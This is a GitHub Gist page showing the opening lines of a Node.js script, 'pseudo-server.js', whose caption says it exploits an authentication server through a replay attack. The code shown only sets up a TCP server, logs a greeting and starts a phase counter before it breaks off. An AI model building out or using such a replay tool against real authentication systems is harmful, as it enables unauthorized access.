Skip to content

Instantly share code, notes, and snippets.

@instcode
instcode / pseudo-server.js
Created July 1, 2011 07:35
This exploits an authentication server using a replay attack
var net = require("net"), sys = require('sys');
var server = net.createServer(function (stream) {
stream.setEncoding('utf8');
stream.on('connect', function () {
console.log('Welcome to pseudo authentication server ;-)');
sys.puts(sys.inspect(stream, false));
});
var phase = 0;